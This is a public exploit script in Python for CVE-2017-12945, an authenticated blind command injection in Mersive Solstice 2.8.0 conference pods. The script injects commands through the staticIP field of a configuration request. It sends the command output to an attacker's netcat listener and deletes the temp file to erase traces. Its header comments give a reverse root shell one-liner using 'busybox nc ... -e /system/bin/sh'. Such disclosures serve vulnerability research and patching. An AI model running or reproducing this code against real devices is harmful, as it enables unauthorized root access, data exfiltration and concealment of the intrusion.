# Exploit Title: Mersive Solstice 2.8.0 - Remote Code Execution
# Google Dork: N/A
# Date: 2016-12-23
# Exploit Author: Alexandre Teyar
# Vendor Homepage: https://www2.mersive.com/
# Firmware Link: http://www.mersive.com/Support/Releases/SolsticeServer/SGE/Android/2.8.0/Solstice.apk
# Versions: 2.8.0
# Tested On: Mersive Solstice 2.8.0
# CVE: CVE-2017-12945
# Description : This will exploit an (authenticated) blind OS command injection
# vulnerability present in Solstice devices running versions
# of the firmware prior to 2.8.4.
# Notes : To get the the command output (in piped-mode), a netcat listener
# (e.g. 'nc -lkvp <LPORT>') needs to be launched before
# running the exploit.
# To get an interactive root shell use the following syntax
# 'python.exe .\CVE-2017-12945.py -pass <PASSWORD>
# -rh <RHOST> -p "busybox nc <LHOST> <LPORT>
# -e /system/bin/sh -i"'.
#!/usr/bin/env python3
import argparse
import logging
import requests
import sys
import time
def parse_args():
""" Parse and validate the command line supplied by users
"""
parser = argparse.ArgumentParser(
description="Solstice Pod Blind Command Injection"
)
parser.add_argument(
"-d",
"--debug",
dest="loglevel",
help="enable verbose debug mode",
required=False,
action="store_const",
const=logging.DEBUG,
default=logging.INFO
)
parser.add_argument(
"-lh",
"--lhost",
dest="lhost",
help="the listening address",
required=False,
type=str
)
parser.add_argument(
"-lp",
"--lport",
dest="lport",
help="the listening port - default 4444",
required=False,
default="4444",
type=str
)
parser.add_argument(
"-p",
"--payload",
dest="payload",
help="the command to execute",
required=True,
type=str
)
parser.add_argument(
"-pass",
"--password",
dest="password",
help="the target administrator password",
required=False,
default="",
type=str
)
parser.add_argument(
"-rh",
"--rhost",
dest="rhost",
help="the target address",
required=True,
type=str
)
return parser.parse_args()
def main():
try:
args = parse_args()
lhost = args.lhost
lport = args.lport
password = args.password
rhost = args.rhost
logging.basicConfig(
datefmt="%H:%M:%S",
format="%(asctime)s: %(levelname)-8s %(message)s",
handlers=[logging.StreamHandler()],
level=args.loglevel
)
# Redirect stdout and stderr to <FILE>
# only when the exploit is launched in piped mode
if lhost and lport:
payload = args.payload + " > /data/local/tmp/rce.tmp 2>&1"
logging.info(
"attacker listening address: {}:{}".format(lhost, lport)
)
else:
payload = args.payload
logging.info("solstice pod address: {}".format(rhost))
if password:
logging.info(
"solstice pod administrator password: {}".format(password)
)
# Send the payload to be executed
logging.info("sending the payload...")
send_payload(rhost, password, payload)
# Send the results of the payload execution to the attacker
# using 'nc <LHOST> <LPORT> < <FILE>' then remove <FILE>
if lhost and lport:
payload = (
"busybox nc {} {} < /data/local/tmp/rce.tmp ".format(
lhost, lport
)
)
logging.info("retrieving the results...")
send_payload(rhost, password, payload)
# Erase exploitation traces
payload = "rm -f /data/local/tmp/rce.tmp"
logging.info("erasing exploitation traces...")
send_payload(rhost, password, payload)
except KeyboardInterrupt:
logging.warning("'CTRL+C' pressed, exiting...")
sys.exit(0)
def send_payload(rhost, password, payload):
URL = "http://{}/Config/service/saveData".format(rhost)
headers = {
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest",
"Referer": "http://{}/Config/config.html".format(rhost)
}
data = {
"m_networkCuration":
{
"ethernet":
{
"dhcp": False,
"staticIP": "; {}".format(payload),
"gateway": "",
"prefixLength": 24,
"dns1": "",
"dns2": ""
}
},
"password": "{}".format(password)
}
# Debugging using the BurpSuite
# proxies = {
# 'http': 'http://127.0.0.1:8080',
# 'https': 'https://127.0.0.1:8080'
# }
try:
logging.info("{}".format(payload))
response = requests.post(
URL,
headers=headers,
# proxies=proxies,
json=data
)
logging.debug(
"{}".format(response.json())
)
# Wait for the command to be executed
time.sleep(2)
except requests.exceptions.RequestException as ex:
logging.error("{}".format(ex))
sys.exit(0)
if __name__ == "__main__":
main()
